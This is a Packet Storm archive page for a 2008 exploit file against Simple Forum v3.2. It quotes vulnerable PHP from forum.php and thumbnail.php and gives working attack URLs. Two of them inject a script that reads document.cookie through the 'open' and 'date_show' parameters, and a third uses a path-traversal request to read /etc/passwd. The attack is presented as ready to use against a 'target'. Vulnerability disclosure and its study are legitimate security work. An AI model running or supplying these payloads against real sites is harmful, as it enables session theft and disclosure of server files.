exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

simple32-xss.txt

simple32-xss.txt
Posted Jan 28, 2008
Authored by tomplixsee

Simple Forum version 3.2 suffers from file disclosure and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | c519964329b114e8d760a77e6a685612e9b12ead3d55187f74e177968841bad4

simple32-xss.txt

Change Mirror Download
           ########################################################
# #
# SIMPLE FORUM v 3.2 MULTIPLE VULNERABILITIES #
# author : tomplixsee #
# my email : tomplixsee@yahoo.co.id #
# #
# software : SIMPLE FORUM v3.2 #
# download : http://www.gerd-tentler.de/tools/forum/#
# #
########################################################


1.XSS
vulnerable code on forum.php

<?
.....
if(isset($_REQUEST['date_show'])) $date_show = $_REQUEST['date_show'];
.....
if(isset($_REQUEST['open'])) $open = $_REQUEST['open'];
.....
<input type="hidden" name="date_show" value="<? echo $date_show; ?>">
<input type="hidden" name="open" value="<? echo $open; ?>">
.....
example:
http://target/path/forum.php?open="/><script>alert(document.cookie)</script>
http://target/path/forum.php?date_show="/><script>alert(document.cookie)</script>


2.Remote File Disclosure
vulnerable code on thumbnail.php

<?
....
if(isset($_REQUEST['file'])) $file = $_REQUEST['file'];
if(isset($_REQUEST['type'])) $type = $_REQUEST['type'];
....
switch($type) {
case 1:
if($img && function_exists('ImageGIF')) {
header('Content-type: image/gif');
@ImageGIF($img);
}
else if($img && function_exists('ImagePNG')) {
header('Content-type: image/png');
@ImagePNG($img);
}
else {
header('Content-type: image/gif');
readfile($file);
}
break;

case 2:
header('Content-type: image/jpeg');
if($img && function_exists('ImageJPEG')) @ImageJPEG($img);
else readfile($file);
break;

case 3:
header('Content-type: image/png');
if($img && function_exists('ImagePNG')) @ImagePNG($img);
else readfile($file);
break;
}
....
?>

example:
http://target/path/thumbnail.php?type=3&file=../../../../../../../etc/passwd
then try to view the page source :D



salam tuk:
ira, sukabirus network community, akillers 179,bidulux,sibalbal,crutz_ao,

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close